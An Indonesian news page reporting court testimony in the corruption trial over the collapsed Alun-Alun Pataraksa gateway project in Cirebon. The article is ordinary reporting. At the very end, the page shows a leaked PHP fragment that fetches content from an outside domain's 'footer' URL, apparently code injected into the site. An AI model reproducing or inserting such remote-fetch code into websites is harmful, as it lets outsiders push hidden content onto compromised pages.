Akhirnya Terkuak Dugaan Kasus Korupsi Proyek Alun Alun Pataraksa Kabupaten Cirebon.

Rabu, 25 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info | Kabupaten Cirebon – Jawa Barat. Akhirnya Kasus dugaan korupsi proyek pembangunan Alun-Alun Pataraksa Cirebon semakin terkuak kuat di persidangan Pengadilan Tipikor Bandung pada Senin (23/9/2024).

Terungkap bahwa proyek yang menelan anggaran sebesar Rp 15,6 miliar tersebut mengalami ketidaksesuaian gambar dalam perencanaan dengan pengerjaan konstruksi bangunan.
Lebih mengejutkan lagi, terungkap adanya praktik copypaste gambar tahap kedua dari tahap pertama sangat jelas.

Proyek pembangunan yang menggunakan dana bantuan dari Pemerintah Provinsi Jawa Barat ini menjadi sorotan yang sangat tajam setelah Gapura Alun-Alun Pataraksa, yang baru diresmikan dua bulan sebelumnya ambruk secara mendadak tanpa ada hujan dan angin kencang.
Insiden ini langsung memicu perhatian luas masyarakat Kabupaten Cirebon, yang mempertanyakan kualitas dan transparansi dalam pengerjaan proyek kebanggaan mereka.

Baca Juga:  Ditemukan Mayat di Desa Batu Bandung-Muara Kemumu

Pengakuan Saksi dan Ketidaksesuaian Material Pada sidang yang digelar, dua saksi kunci dihadirkan, yaitu Ade Irmansyah, Auditor Inspektorat, dan Iim Mulnandi, Direktur PT Wahana Lestari. Keduanya memberikan kesaksian yang mengejutkan, mengungkapkan adanya pelanggaran serius dalam pengerjaan proyek, mulai dari material bangunan yang tidak sesuai dengan spesifikasi hingga penyimpangan dalam administrasi keuangan. Ade Irmansyah, sebagai auditor, mengungkapkan bahwa dari hasil audit yang dilakukan timnya, terdapat banyak ketidaksesuaian dalam penggunaan material bangunan, terutama pada beton besi coran yang menjadi elemen utama gapura.

“Awalnya, saya mengira ambruknya gapura ini disebabkan oleh curah hujan tinggi di bulan Januari. Namun, setelah pemeriksaan fisik di lapangan, ternyata material yang digunakan tidak sesuai dengan spesifikasi yang dianggarkan,” ungkap Ade. Lebih lanjut, hasil audit yang dilakukan tim Ade juga mengungkap adanya kelebihan dana anggaran pembayaran sebesar Rp 620 juta, termasuk Rp 183 juta untuk pekerjaan yang tidak pernah dilakukan dan diduga fiktip.”

Baca Juga:  Bupati Nias Resmikan Peluncuran Penerapan Identitas Kependudukan Digital

Selain itu, ada juga duplikasi anggaran dari tahap pertama ke tahap kedua proyek. Ini merupakan bentuk pelanggaran administratif dan teknis yang serius,” tambahnya. Manipulasi Gambar dan Material Tidak Sesuai Salah satu fakta yang paling mencengangkan adalah pengakuan bahwa gambar perencanaan tahap kedua proyek ternyata hasil copypaste
dari tahap pertama.

Hal ini menunjukkan lemahnya perencanaan teknis yang mengakibatkan pembangunan gapura tidak sesuai standar yang diharapkan. Iim Mulnandi, Direktur PT Wahana Lestari, yang juga menjadi saksi dalam persidangan, mengakui bahwa perusahaan yang dipimpinnya hanya “dipinjam namanya” oleh pihak terdakwa atau yang melakukan pengerjaan proyek tersebut.

Baca Juga:  Adi Setijawan: Demo Marak, Waspadai Tunggangan Pihak Tertentu dan Jangan Sampai Anarkis

“Perusahaan kami hanya disewa atau dipinjam benderanya saja untuk proyek ini. Kami tidak terlibat langsung dalam pengerjaan,” ujar Iim, menambah peliknya kasus korupsi ini. Tiga Terdakwa Utama dalam Skandal Proyek Pataraksa Dalam kasus ini, tiga orang terdakwa telah didakwa melakukan sejumlah manipulasi data laporan proyek, penggelembungan anggaran, dan penyimpangan dalam pelaksanaan pembangunan Mereka adalah Dadan Darmansyah, Eko Lesmana Soetikno Putra, dan Agus Muklis. Ketiganya diduga berperan aktif dalam pengelolaan proyek yang berujung pada runtuhnya Gapura Alun-Alun Pataraksa.

*Team Investigasi Jabar*

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .
Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini
Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung
Kompol Muhammad Mukid Sosialisasi Penyebaran Narkoba Ke Pelajar
Personel Polsek Krueng Sabee Laksanakan Patroli KRYD, Sisir Lokasi Strategis untuk Jaga Keamanan

Berita Terkait

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Oktober 2024 - 00:48 WIB

Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat

Jumat, 4 Oktober 2024 - 00:47 WIB

Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras

Kamis, 3 Oktober 2024 - 18:47 WIB

Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini

Kamis, 3 Oktober 2024 - 16:44 WIB

Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>